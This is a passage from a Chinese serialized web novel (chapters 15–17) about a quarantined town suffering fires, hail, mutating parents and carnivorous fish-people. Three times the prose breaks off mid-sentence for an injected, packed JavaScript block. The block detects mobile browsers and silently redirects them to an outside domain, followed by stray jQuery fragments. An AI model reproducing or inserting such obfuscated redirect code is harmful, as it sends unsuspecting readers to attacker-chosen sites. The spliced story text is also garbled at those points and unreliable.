两位姑娘忙活到半夜,忍着腹中饥饿回了房间,沉沉睡下。
“镇长,这样做……会不会不太好?”
“一切病菌在大火下,都会丧失效力,你如果想让这群病人继续占用镇子所剩不多的资源,继续传播疾病,那你可以不这么做。可我是镇长,干的就是得罪人的事情。你把它递给我,我来做。”
“一件棉服换一个面包。”
“这么便宜?能不能再多一些啊。”
“现在是早春,过些天就是夏天了,我们要棉服有什么用?当然卖得便宜了,不想要就走!”
“别别别,行吧,我这里有三件。”
奈绪背着鼓鼓囊囊的大包,将三件棉服从大包中抽出来,摆在柜台前,大包瞬间干瘪下去。
将三个面包放进瘪了的大包,她走出店门,正瞧见熊熊黑烟缭绕在镇子上空。
黑色缓缓蠕动,像白纸上一滩晕开的墨水,往镇子的四边摊开,侵略。
黑烟滚滚,奈绪用袖子捂住鼻子,闷声道:“怎么了?”
一个捂着鼻子的路人冒烟前行,听见奈绪的问话后停住脚步:“医院着火了。”
“着火?那些病人不是还留在医院吗?”
“是啊,”路人拍手:“你说巧不巧,那些疑似感染者刚挪去密林边睡,医院就着火了,不过也好,都是些病菌什么的,烧了也干净。”
奈绪瞪了他一眼,往医院跑去。
熊熊大火已经烧裂了墙壁,奈绪跑过去时,黑烟已经形成了一朵巨大的乌云,烟浓得几乎可以切开。
火舌燃烧到了医院的最上方,吞吐着上层的空气,一群警卫围在医院附近,防止其他人进入火灾现场。
镇长站在医院门前,神情悲痛,鞠躬大声道:“对不起!没有及时做好火情管理,导致抢救病人失败!”
烟雾弥漫,奈绪眯着眼睛看向四周的人,他们的神情没有悲痛,没有惋惜,有的只是麻木,和小小的窃喜。
奈绪看向三楼,那是珠惠和她父亲的氧气舱所在的位置。
已经被烧裂了,墙体下沉,只留下漆黑的钢筋。
一个生硬的声音在奈绪的脑中机械般响起:
步美的状况是无法离开的。
她无法离开。
她无法离开。
奈绪喃喃念着这句话。
一股巨大的恐慌和无力感从脚底攀升到她的头顶。
她难以呼吸。
视觉扭曲,着火的医院和四面的楼房,如同山一样向她倾倒过来,沉甸甸地压在她身上。
她觉得自己的头顶是在抗着几万吨的重量,头皮刺痛,她两脚发麻,跌坐在地。
“步美死了。”她说。
“珠惠死了。”她说。
“镇长死了。”她说。
她脸颊发麻,被热浪冲得发昏,嘴角再也扯不起一抹弧度。
呆愣着坐了半天,警卫将她带离了火场,她独自走在大街上,眼神空洞。
她忽然发觉自己手中空空荡荡。
带着的包裹不知所踪。
“面包呢?我的面包呢?”
奈绪挨家挨户敲门:“你见到我的面包没?你见到我的面包没?大概这样一个青色的大袋子,里面有三个面包,我的面包呢?”
镇民们被她弄得不胜其烦,关上房门时怒骂:“神经病,我们哪里见过你的面包!”
奈绪慢慢弯下腰,将自己缩到了墙角,将身体蜷缩到不能再小。
“我的面包没有了。”她小声地说,然后开始小声啜泣。
又是一个饥饿的夜晚,奈绪瞪着眼睛,看着白花花的天花板,由子也没有睡着。
“你说,”由子说:“今天的这场火灾,是一场天降的灾难吗?是我们镇子必须要经受的吗?”
奈绪:“我不知道,我只知道无论是人为还是上天,这件事情都发生了,而且都无法挽回了。”
一阵沉默。
由子:“我们的种子会发芽吗?”
“我不知道。”奈绪再次回答。
“镇子上现在所有的东西都栽不活,树木没有叶子,只有郁金香还好好开着,但郁金香又不能吃。”
由子叹了口气,黑睫优柔轻眨,泪花从眼角渗出,她不动声色地擦去。
一个黑影步履蹒跚,拖着一条瘸腿,背着一个大包裹,往山坡上走去。
他走过开满花的原野,注意到了那块刚刚开垦的地面,小心绕过后,他走进二层小楼的院子。
院中有一口井,他转动铁杆,从井中打上一桶水,掬一捧水喝下,又捧了一捧洗了把脸,灰扑扑的脸上才露出肉色。
他敲响了房门。
是中村开的门,他揉着眼睛打了个哈欠,将奈绪几人叫了出来。
“雄一?你怎么成现在这样了?”奈绪吃惊,忙让他坐下。
屋子漆黑,奈绪的妈妈点亮了烛火,空气中有一点蜡烛燃烧的烟味。
“你的腿……”奈绪看向雄一。
雄一拍了拍他的腿,摇了摇头。
“你们不是被送去林中的房子了吗?你怎么跑出来的?”奈绪问。
雄一眼神中有些遗憾,看向自己的腿:“这条藤就是代价,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977564|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过幸好我跑出来了。”
他左顾右盼,在烛光中观察着房子,问:“夏美呢?”
由子将夏美抱了出来,放到雄一怀中,现在正是半夜,夏美咂八着嘴巴,肉嘟嘟的脸蛋熟睡着,正处在甜美的梦乡中。
他们和雄一聊天,刻意避开了步美的话题,雄一也没有问。
他们心照不宣地躲避着一个人死亡的事实。
雄一:“刚才我过来时,看到田野上有一排开垦过的土地,你们是要种什么东西吗?”
“我们要种菜。”由子说。
和其他所有人泼冷水的行为不同,雄一表示了支持:“镇子的灾难持续了这么久,也该有点耶稣降临的奇迹了。”
他将种菜的技术毫无保留地交给了她们,喝了口水后站起身:
“那我就带着夏美走了。”
奈绪摸了摸夏美软乎乎的小手,夏美这个宝贝,现在还睡得正香呢。
“你要怎么活下去?”奈绪有些担忧,不仅是担忧雄一,更为夏美担忧,在这一段日子的相处中,他们对这个可爱的小家伙都产生了感情,不想看它踏入弥漫着危险的镇子。
奈绪的爸爸咳了咳嗓子,沉声道:“不如还是把孩子留在我们这里吧,我们一大家子人,照顾她能照顾好。”
“不用了,真是谢谢你们了,我们已经麻烦你们够多了,之前我和步——”
话头骤然止住,他没有再提起那个死在火灾中的人,他不敢回想起那个可爱的妻子,可语癖总让他不小心提到。
“不用了。”
“将来不论事情糟糕到什么程度,我都会让夏美好好的。”
雄一勉强笑了一下,将夏美抱在怀中,拖着瘸腿往外走,关上了门。
奈绪注意到雄一的座椅旁边放了一个大袋子,他们这才想起,雄一进门时提的袋子没有拿走。
“雄一——”奈绪冲出门,看向前方的原野,一个人都没有。
“他已经走了。”中村在身后幽幽说道。
他们打开了袋子,发现袋子中塞了不少吃的,还有几件衣物,药品,还有一张卡片。
卡片上写着:“谢谢你们。”
这张卡片是红色的,奈绪将卡片翻过来,发现是一张婚礼的邀请函,上面还有雄一与步美的签名。
想来是雄一结婚时邀请函没用完,要用到卡片时,便从口袋中掏出了这张几个月前的卡片,写上了这几个字。
“哎呦,这真是……”奈绪的妈妈声音哽咽了。
后来没有人再说话,他们只是各自回到床上睡下。
也有人没睡,睁着眼直到天明。
密林边陲起了火。
一开始只是小火,因为树木干枯,小火很快变成了大火。
森林里的房子火光冲天,几十个人冲出了房子,混入了镇民的队伍,他们都站在森林边缘,看着这场突如其来的山火。
笼罩在镇子上空的黑烟尚未散去,在山火的助攻下,黑烟更加浓郁,遮蔽了日光,整个镇子都格外灰蒙蒙。
“这是上天的旨意,上天发怒了。”有老者跪地,喃喃自语。
火势的爆发让中老年人脑中的窃窃私语声爆裂开来,日夜不休,几名老者因此而死。
大火烧了三天,直到将整座密林都夷为平地。
当天空中的第一粒冰雹坠落到一截焦黑的枝干上时,山火的最后一簇火苗熄灭。
冰雹有大有小,大如巨石,小如沙粒,随机而至,杀人如麻。
镇民们有一部分选择留在家中,有一部分选择了迁移,还有一部分人,选择在地下开辟空间。
只是,当铲子挖到地下一米深时,他们挖到了蝗虫的卵,密密麻麻,像手臂一样长,已经布满了整座镇子的地下。
挖掘地下空间的计划失败,但至少,他们有足够的蛋白质可以吃了,许多人开始尝试摄取这种食物。
奈绪一家躲在家中。
奈绪站在窗边,对着窗户祈祷:“上天啊,求求你,不要让冰雹落到菜地上。”
她是世间最虔诚的修女。
一颗嫩芽钻出了地面,摇摆着翠绿欲滴的枝叶。
被世人称之为灾难的冰雹,化作无数细碎的冰粒,融入土地,化为甘霖,滋润着这片废土之中诞生的新生命。
15. 鱼人
“起浪了!起浪了!”
一个皮肤晒得黝黑的镇民,奔走疾呼,拎起脚边的藤篓就跑。
海浪上涌,浊浪朝岸边拍来,打上黑褐色的岩石冲起数米高的浪花。
浪花击打着礁石,给炎热的岸边带来潮湿的水气。
不久,浪花退去,海面重归平静,海岸边,一群人探出脑袋,争先恐后朝刚刚退潮的海岸跑来。
他们都光着上身,皮肤被烈日晒得通红,抹了把汗水,他们弯着腰,在海边捡着海浪冲上来的海鲜。
食物并不多,只是些贝壳,梭子蟹,但作为镇子中唯一能得到的食物,每天都有很多人争先抢夺。
友树也在其中,他赤裸着上身,穿一条短裤,正将断了一条腿的梭子蟹捞进篓中。
“友树?”熟悉的声音从背后传来,他转过身,看见伊藤望,他也背着一个背篓,瘦了许多,还是像平常那样爱笑。
“好久没见了。”友树说。
“是啊。”伊藤望一笑,露出一口白牙:“学校已经关闭几个月了,同学们都见不到了,你也是来捡东西的?”
伊藤望看向友树的背篓,鬼使神差地,友树将背篓往后挪了挪。
友树:“没什么,捡不到什么东西。”
“是这样啊……”伊藤望打量着友树,友树咳了一声,转身想要走开。
“喂,友树,”伊藤望喊住他:“不如我们合作吧。我们以前不是很好的朋友吗?”
他接着说道:“你负责告诉我哪里有,我负责抢,怎么样?”
友树看着伊藤望高大的身躯,思索片刻后觉得这是个不错的选择。
“好。”他伸出手,两双伤痕累累的手握到了一起。
短短几个月里,友树家里经历了破产,生病,父母惨死,哥哥也去世了,如今家里只剩他一个人。
从前引以为傲的旧西装,早就被丢进了柜子深处,他害羞时仍会脸红,只是为了活下去,他不得不改掉从前脸皮薄的缺点。
海岸上,从前的船和大钟都已经被海底出现的海虫运走,现在岸边十分空旷,没有遮蔽的地方,一眼就可以看到头。
一群人正站在沙滩上,全身沾满污泥,这是用来防止晒伤的,他们四处张望,想要在退潮后的沙滩上找到些吃的。
“瞅准了吗?”伊藤望弯下腰,像一座大山一样,藏在岩石后。
伊藤望视力不好,自从唯一的眼镜被冰雹给砸碎后,他便只能看到模模糊糊的光影轮廓,在沙滩上认出友树也纯属偶然。
“瞅准了。”友树指向东北方:“那里有一条鱼,别人还没发现。”
伊藤望如同离弦的箭一样冲出去,同时,海岸上的其他人也发现了这条活蹦乱跳的鱼。
饿得眼冒绿光的人不肯放过这顿美味佳肴,接连加入抢夺。
伊藤望身形高大,一拳一个,抱着这条鱼,将他们全部推倒。
他顾不上看那些濒死的人一眼,抱着鱼朝友树跑来。
两人躲到一间废弃的木房子中,敲碎几块木头,点起了篝火。
将鱼剖腹烤熟后,两人一人一半,他们饿得连话都说不上,鱼皮还冒着热气就忍不住塞进口中。
烫得眼泪都流下来。
勉强吃饱后,他们看着彼此火光映照中的脸,都忍不住笑了。
“合作愉快。”伊藤望伸出手,他手上还有一股鱼腥味。
友树别别扭扭伸出手,“合作愉快。”
他不知道他从前是怎么和伊藤望生疏的,也许是从学校停课那天开始。
再好的朋友都抵不过距离,更何况他们一个在东边,一个在最西边。
上学时还可以当面沟通,下课后可以打电话,但当学校停课,电话也没了信号,两人就逐渐不来往了。
但两人抢鱼的合作,重新将他们联系在一起。
两人重新恢复了从前的情谊,至于那些被疏远了的时光,就不用再提了。
“今天拿的怎么这么少?”友树抱怨,他颠了一下背篓,面露不快。
他们已经合作了一个月,这一个月里,伊藤望抢到的东西越来越少,刚开始还有几条大鱼,到现在只剩下几条指头粗的蹦跳的小鱼了。
“最近推上岸的东西越来越少了,只能弄到这些。”伊藤也忍不住抱怨。
友树没再说什么,心中却存了些怀疑。
第二天,友树没有躲在岩石后等伊藤望回来,而是悄悄跟在他身后,伊藤望的眼睛近视严重,离远了认不出他。
伊藤望朝着岸边跑去,速度飞快,两个瘦骨嶙峋的人也朝着这边跑过来。
一个小水坑积在沙滩旁,伊藤望大手一捞,将水坑中的海鲜抓出来,失望地叹了口气。
只有几条小鱼。
他挤开那两人,将小鱼捞到背篓里,一个人跌倒在地,他脸颊凹陷,鸡爪般的手无助伸向他,小声地喊:“鱼……鱼……”
伊藤望面露不忍,犹豫着走开又折反,捞出一条小鱼,递给地上倒着的人。
一只手按住了他。
“友树?”伊藤望的笑容有些心虚。
“他快要饿死了。”伊藤望说。
友树:“我知道。”
友树脖子变得通红,脸上带着怒气:“可你有没有想过,我们也快要饿死了?你这些善心给谁用?今天给了他,明天他还是要饿死,现在镇子上死掉的人还少吗?我们得先让自己活下去!”
他打掉了伊藤望手中的鱼,两个人立刻冲上来将鱼抢走,顾不上鱼还是生的,就狼吞虎咽起来。
“看到了吗?”友树指着沙滩上横七竖八躺着的人,“食物已经耗尽多久了,你心里没点数吗?他们其中就有人现在正在死去,难道我也要去救吗?”
“我说你拿回来的东西怎么这么少,原来是送了这帮讨食鬼。”
友树冷哼一声,“我们以后也不用再合作了。”
伊藤望看着友树瘦弱的背影,想开口解释,却无能为力。
千鱼镇的黑夜越来越长了。
明明时节已到夏季,太阳却没有像想象中那样整日高悬在天空,只有无边的闷热,仍在提醒着镇子上的人夏季的到来。
原本傍晚的退潮,因为黑夜的延长而进入到黑夜中。
如今,一片黑暗中,潮水退去,赶海的人再也看不清彼此。
他们只能凭借先前的经验,在靠近海浪的水坑中搜寻食物的踪迹。
友树在黑暗中摸索,摸到一个死人。
人是刚刚死去的,他手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977565|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上还攥着一条还在动的鱼。
友树沉默片刻,慢慢跪下,手扒住已死之人的手掌,用力将这条鱼拽出来。
鱼的粘液黏在手上,他用力握紧,无视还在摆动的鱼尾,大口朝鱼身咬去,血糊了他满嘴,有鱼的血,也有被鱼刺划破的他自己的血。
他将整条鱼吞吃殆尽后,躺在沙滩上,疲惫地闭上眼睛。
有虫子挠着他的脚心。
友树疲惫地睁开眼,海岸上躺了许多饿死的人,也许这些虫子是来吃掉他们的。
但看到的东西,让他骤然两眼大睁,立即翻身从地上站起来。
有小虫子在啃着那个已死之人的脚,有几只落到他脚上,他将其踩死。
让他恐惧的,并不是这些虫子,而是……
海面的尽头,橘黄色的光从边缘晕染,将波光粼粼的海面照成璀璨的颜色。
太阳升起来了。
有东西从海里出来了。
几百条似人非人的怪物,排成一队站在海中,它们的身子随着海浪而起起沉沉。
背对着太阳,它们的脸看不清楚,只能看到一群高大的轮廓,以及肩上,脸颊上生出的细密鳞片,还有脖子旁不断扩张又收缩的鳃。
“这是……这是什么鬼东西……”友树低声咒骂一句,海浪中,它们逐渐向岸边靠近,直到第一条怪鱼踏上了海岸。
它有两条像人一样的腿。
极为自然地,它弯下腿,跪在一个奄奄一息的人面前,像教徒等待圣主的救赎。
怪鱼的嘴巴张开,嘴巴两旁的肌肉被极限扯开,露出一嘴獠牙。
它咬住了那人细瘦的脖颈,慢条斯理地咀嚼起来。
胃酸反流,呕吐的感觉冲上口腔,他腿脚发软迈开步子,不要命地往岸上跑。
“有怪物!有怪物!”
他冲到街道上,边流泪边大喊。
镇子一片死寂。
几场灾难后,镇子上的人都陷入了精神的洼地,他们大多躺在床上,维持着基本生命体征,等待死亡或是救赎的降临。
有一个人躺在路边,他身上破破烂烂,手上挽了一圈绳索。
友树看这人眼熟,走进查看后才发现是淳平,急忙将他喊醒。
两人一起往高处逃去,想要找到一件能上锁的空屋子藏起来。
他们跑过几条街道,都是大门紧闭,只有一间房子还空着,房门打开。
友树带着淳平溜进去,将卷帘门拉上,趴在地上从缝隙中往街道上看。
这群鱼人不知道去了哪里,它们也许是吃够了海岸上的尸体,选择在退潮时重归海洋。
淳平异常地沉默,友树猛推了一下他的肩膀,他才终于回过神。
这是一家药店,友树翻找着房子里的食物,什么也没有找到。
他在柜台里找到了一张名片,将名片拿起,他下意识念了出来:
“加贺慎一郎,主任医师。”
“是个医生啊。”友树将名片放回,“哎?这个名字很眼熟,之前走索摔死的那个人,是不是他?”
淳平没有回答。
门外响起拍门声,他们闻到一股鱼腥味,卷帘门上出现了几个不规则的凹陷。
“是鱼人。”友树低声说。
16. 埋葬
“爸,妈,我们出去了。”
奈绪冲着爸妈的房间大声说,房间敞开着门,从房门里传出一声虚弱的呼吸。
从半个月前开始,有人在城镇上兜售烤过的蝗虫卵,只需要用极少的物资就能换到一大块。
虽然他们对这种昆虫都心有芥蒂,但许久没吃上食物的他们每个人都饥肠辘辘。
为了安全起见,奈绪的父母先将这种卵切成块后在火堆中烤熟,尝试了一下。
没出现什么异常,他们都开始食用这种食物,这种变异蝗虫的卵成了小镇里所有人的救星。
但不久之后,怪事开始出现。
父母的身上长出了细细的绒毛,呈现黑红色,同时胳膊和腿部也开始出现黄色斑纹。
而同时,同样吃了蝗虫卵的几个孩子,却没有出现任何问题。
镇子上的其他人也大多出现了这种情况,最先开始食用蝗虫卵的那几位父母,甚至能手脚并用地在地上爬来爬去,有一位母亲甚至爬上了房顶,倒挂在上面。
父母的身体变得虚弱,也逐渐不爱出门,他们整日躺在卧室的床上,不喜欢接触阳光,连话都很少说。
奈绪三人不知道父母身上发生了什么事情,但就从前小镇上发生的事的经验来讲,绝对不是好事。
她们曾劝父母和她们一起出去,父母充耳不闻,只是躺着,用厚厚的被子盖住身体,脸上是行将就木的绝望与麻木。
由子:“算了,别等他们了,我们先出去。”
由子的一头长发已经变成了利落的短发,脸上多了几道还未痊愈的刀疤,这是她与别人争夺食物时留下的痕迹。她在靴子里绑上尖刀,又拿起放在门边的铁铲。
奈绪无奈地看了房间一眼,脑子里盘算着如何才能治好父母这种诡异的疾病,没注意脚下的路,走过门边时被门槛绊了一下,整个人往前趴去,被中村捞住衣领重新站起。
有湿哒哒的东西落在身上,奈绪抬头看天,天空是一大团一大团的黑灰色,闷热的风裹挟着雨点拍打在脸上。
由子:“下雨了?”
镇子已经好久没有下雨了,地面干裂,连从井中打水都很困难。不过极端的干旱也带来了一个好处,就是冰雹已经停了,她们走在街上,不必再担心从上空而至的危险。
目光所及之处是一片鲜绿色,原野并未有一株小草发芽,这片绿色来自于她们从前种下的菜种。
整个镇子,只有这里发了芽。
可惜,这些种子只能种一茬,吃完这一次就没有了,土壤已经没有足够的养分再供养起一批鲜嫩的绿苗,也正是因为这个原因,她们对自己辛勤培育出的嫩苗更加宝贝,一直到现在都舍不得吃。
奈绪三人往街上走去,街上一片荒凉,大部分店铺的铺面都落了灰,因为主人的死亡而无人清理,逐渐荒废成一片金属废墟。
镇子刚封闭时,还会见到一些鸟儿,蝴蝶,镇子封闭的程度逐渐加重,如今鸟儿也失去了踪影,从这片名叫千鱼镇的土地上被彻底抹去。
不知是下雨还是什么别的原因,小镇的街道上又湿又黏,还有一股难闻的鱼腥味。
奈绪捂着鼻子忍受着无孔不入的鱼腥味,脚步不停,已经走到一座空房子前。
房子用卷帘门关着,卷帘门上出现了大大小小凹陷的痕迹,似乎就在刚刚,这里经过了一场残暴的袭击。
有一处凹陷甚至击穿了卷帘门,露出一个拳头大小的洞,可以看到房间内。
奈绪将眼睛凑到洞前,瞧着房间内的动静,瞳仁骤然放大,她后退一步,指着房子:“里面还有人,好像在求救。”
“求救?”中村重复一句:“你确定听清楚了吗?”
奈绪:“听清楚了。”
中村弯下腰,手扒住卷帘门的底部,试着往上拉了拉,面目狰狞:“好像……好像卡住了。”
奈绪:“我也来。”
两人一起将卷帘门用力向上抬去,幸好卷帘门没来得及上锁,不然他们两个恐怕就要用斧子将它砍开了。
卷帘门拉开,灰尘扬起,将整个房间都变得昏黄朦胧,奈绪看着这个熟悉的房间,仿佛置身梦中。
她几乎快要忘记这个药店了,忘记那个在绳子上一心追求荒诞梦想的老头了。
房间里铺着破烂的墙纸,大块墙面脱落,地上躺了两个人,都瘦得像骨架子一样,脸上胡须打结,头发成团,眼垢糊在眼边。
其中一个已经没了呼吸,另一个陷入昏迷,奈绪刚刚听到的求救声,就是来自他的梦呓。
奈绪找来一块干净布料,在外面接了盆雨水,仔细将两人的脸擦干净。
她先把那个有呼吸的人的脸擦干净,又灌了些水,那人慢慢醒了过来。
看着这张有些眼熟的瘦弱脸庞,奈绪疑惑:“我们是不是在哪里见过?你叫什么名字?”
“友树。”那人说。
由子:“友树!”
“我们是同学!”她握住他的手:“我是由子,她是奈绪,后面那个穿拖鞋的,是我弟弟中村。”
中村不耐地哼了一声,算是应答。
奈绪也想起了这个瘦弱的同学,但她正忙着给已死之人擦净脸庞,也就没顾上攀谈。
当一张布满灰尘,伤疤,污泥与鲜血的脸被擦干净后,奈绪的神情逐渐变得僵硬,手上的动作也逐渐迟缓。
中村:“他是谁?”
奈绪不说话。
由子凑过来看了一眼,表情吃惊:“他不是你之前的好朋友吗?好像叫淳平来着。”
奈绪的神情依旧僵硬,眼神愣愣地盯着这张脸,喉咙忽然感到一阵莫名的干涩,干咳起来。
逐渐控制不住,她上半身都弯下来,整个人像虾米一样跪到地上,头磕着水泥地,豆大的汗珠从她额头流下,她整个人都脱了力,咳嗽难以停下,淡淡的血腥味从肺部上涌。
“你怎么了?!”由子着急,将不断咳嗽的奈绪搀起来靠墙坐下,将水壶打开让她灌了一口。
奈绪的咳嗽声难以止息,十分钟后才停止,她脑子中有不断的蜂鸣声,整个人处在晕眩状态。
奈绪摆摆手:“我没事,暂时不用担心。”
“他是怎么死的?”奈绪问友树。
友树脸色也不好,由子找出所剩不多的饼干,让他吃了一块,他才勉强恢复了一点力气。
“我们……我们在这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977566|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被困了好久……”友树开口。
友树目光幽幽,看向死去的淳平:“他是被饿死的,我们已经好多天没吃饭了。”
“那时候,我在海边发现了像人的鱼,姑且把它们称为鱼人,它们上了岸,而且性情残暴,我逃到镇子上,和淳平一起躲进了这个房子。”
“我们本想出去寻求帮助,可鱼人竟然停在卷帘门前面,好像闻到了我们的气息。其他鱼人在小镇上转着,扫荡着一切活物,他们都躲在房子里不敢出来。”
“它们试着打破卷帘门,将我们捉出来,那时候淳平已经处在极度饥饿的状态,我俩和鱼人打斗,都受了伤,我上了些药勉强好转,他却逐渐恶化,再加上饥饿,死去了。”
他顿了一下,说道:“就在不久之前,我从破洞中看到它们从镇子中撤出,重新往海洋的方向走去。后来我试着打开卷帘门,但力气太小,它又卡住了,所以没有打开,又晕了过去。”
由子和中村扶着友树站起来,走出门外喊奈绪,奈绪却久久不回应。
直到连由子都等得心急了,奈绪才弯腰从卷帘门下出来。
她背上还背着淳平的尸体,尸体很轻,瘦得像干。
“我要把他埋了。”奈绪柔声说。
由子:“那群鱼人长什么样?”
友树:“像一群直立的,长着獠牙的怪物,牙齿又尖又快,我差点被它们捉到。”
他们行走在山坡上,奈绪背着尸体走在最前方,他们在光秃秃的树林间穿梭,直到奈绪在一棵树前停下来。
奈绪:“这是小镇上最高的树了。”
她将尸体放下,又向由子把铁铲要了过来,跪在地上开始挖坑。
其他三人也加入了。
小雨还在绵密地下着,沾湿了他们的衣服,所幸友树走之前从药店里拿了几把伞,为他们挡住从高处落下的雨珠。
直到天空开始变得黑暗,一个坑才终于挖好,奈绪沉着脸,将尸体推入坑中,铲土埋上,站起身来,她两腿发麻,脚步不稳,由子扶了她一下。
“天快黑了,不能保证鱼人会不会再来,我们先回去吧。”中村说。
天空逐渐黑透,乌云笼罩,雨滴也逐渐变大,到最后几乎成了从高处倾泻而下的雨帘,他们撑着伞,在雨中奔跑着。
“你们看,那里怎么有光?”由子忽然停下脚步,抬手指向森林深处。
灯光如豆,昏黄的灯光点缀在森林如墨染般的纯黑中,有些不真实,像是误入了某个童话中的梦境。
他们都鬼使神差一样,被那束光所诱惑,朝着光亮的方向走去。
雨水落在几个光滑的伞面上,和森林里树木发出的声音应和在一起,如同一支优美的交响曲。
他们都听到了一声婴儿的啼哭,往昔觉得十分吵闹的动静,在如今看来竟成了安全的保障。
那是一间小小的木房子,用几块简陋的大木板拼接而成,门口放着一盏防风的玻璃油灯,房门上挂着锁链。
室内的烛光将影子投射到窗户上,是一个男人抱着孩子的模样。
他抱着孩子,身体滑稽地摇摇晃晃,孩子转哭为笑,男人正轻轻哼唱着一首不知名的摇篮曲。
17. 血水
奈绪快走几步踏上台阶,轻轻在门上叩了两声。
门被打开了。
是雄一,他穿一身简单的长袖长裤,一只手抱着夏美,另一只手来开门。
看见是奈绪后,他明显愣了一下,注意到她身后有人,他挡住半边房门,神情有些戒备。
奈绪侧过身,让其他几人站到光中:“他们几个都是我的朋友。”
雄一脸色瞬间放松,冲奈绪笑了笑:“你怎么到这里来了?”
“偶然过来的,来……来埋人。”奈绪说。
雄一哦了一声,两人都没有什么新的话题要聊,场面一时有些尴尬。
迎着昏黄的油灯,奈绪瞥见雄一的脖子上起了一层细密的黑毛,看上去分外瘆人。
这层黑色绒毛和父母的很像。再看雄一不肯踏出房门一步的动作,奈绪逐渐察觉到异样。
奈绪:“你身上的这些绒毛,是怎么出现的?”
雄一被奈绪的灼灼目光瞪得后背发麻,说:“不久之前,差不多就是夏美出生的时候。”
“出生?”奈绪表情有些不自然。
也就是雄一刚当上爸爸的时候?如果再算上镇子上其他人得的这个病,那么大致可以推算出,镇子上的父母都得了这个病。
但这个病现在有什么影响,现在还无从得知。
蝗虫出现时,清洗的是镇子里的老年人。
这个病出现的结果尚未可知,但具体范围限制在父母身上。
那下一步呢?就是镇子中的年轻人吗?亦或是……
她愕然望向身旁的中村:
难道下一步,就是长子之死,以及如圣经上所说的,血水之灾,永恒的黑暗降临?
她不想赌,也不敢赌。
对未来无尽的无知与茫然强迫她将注意力转向别处,她亲昵地摸了一下夏美,夏美咯咯笑起来,但眼睛还是看不见奈绪。
奈绪:“她现在还是看不见吗?”
雄一摇头:“这是没办法的事,现在能活下来就好了。”
奈绪想起友树所说的鱼人上岸的怪事,又瞥一眼残破的小木屋,心中涌出担忧,忍不住提醒:
“前些天,有怪物上岸了,据友树所说,是一群长着獠牙,行走像人的鱼,食肉而且聪明,你们最好小心点。”
雄一点头。
将怀中的夏美哄睡后,他悄悄把奈绪拉到一旁,有些不好意思地问:“我之前……看到你们家附近种了蔬菜?”
他将夏美的下嘴唇翻开,看到一个圆圆的白疮,是上火和长期不食用蔬菜导致的。
雄一:“我现在病还不严重,虽然出房子会带来一些不适感,但暂时还可以出门,过几天我能不能带着夏美,去你那里摘一点蔬菜?”
奈绪和由子看着夏美熟睡的脸颊,她是个脸颊泛红的娃娃,粉雕玉琢一般,再看看抱着她的雄一,眉毛稀疏身材瘦弱,看来是把最好的都留给了她。
奈绪和由子重重点头:“好。”
镇长坐在躺椅上,外面的雨没有丝毫暂停的样子,接连下了几天,院子里积了一层积水和污泥。
他慵懒地拿起一本书翻看起来,在烧死医院的人之前,他们收集了医院足够多的物资,足够他们再活几个月,对于穷人所谓的前途和命运,他丝毫不担忧。
他欣赏着一本外国散文,正想沉浸其中,身旁却不断传来妻子和儿女铲水的声音。
“声音小一点!”他面露怒色,将书摔到一旁,嘟囔着站起身朝院子走去。
“怎么这么吵?”
妻子指着院子里那口水井,脸色苍白:“井里……井里有一片鱼鳞。”
“鱼鳞?”镇长重复一遍,勃然大怒:“鱼鳞有什么可怕的,那帮上岸的鱼人不是已经回去了吗?我们在房子里还能再待上几个月,到时候我们早就得救了,你何必这么大惊小怪?”
他冷哼一声,推开妻子,朝井边走去。
井底的水并不清澈,上面浮了一层表面开始腐烂的枯枝,还有一些污浊的尘土,以及一只死去的青蛙和几只苍蝇。
除了这些东西,还有一片暗淡的鱼鳞,隐匿在落叶中,只有表面反射的光能勉强看出它原来的样子。
用木桶将它打捞上来,镇长捡了根棍子,对着青蛙的肚子戳去,青蛙的身体已经僵硬发臭,他捂着鼻子,将青蛙拨到一旁。
有雨滴落在脸颊,他扭头朝身后冷冷瞥了一眼,妻子急忙撑起雨伞给他挡着。
继续用木棍将苍蝇,枯枝挑开,他捏住鱼鳞的一角,将它凑到眼前仔细查看。
鱼鳞颜色暗沉,边角不规则,足有手掌大小,将它对着光时,会呈现半透明的光影,如同鱼鳞经过极为精密的雕刻。
他正想将鱼鳞丢到一旁,悬在半空的手忽然停下,妻子不明白发生了什么,只听见镇长闷闷地说:“把手电筒拿来。”
奈绪一早起床,就把家中的锅碗瓢盆翻出来,全堆放在院子中接着从天而降的雨水。
这场雨下了好久,久到奈绪都有些担忧,院子里积了一层水,踩着啪嗒啪嗒响,鞋跟都湿透了。
雨水是不祥的征兆,对于处在不安中的镇子来说,一切天灾都是不祥。
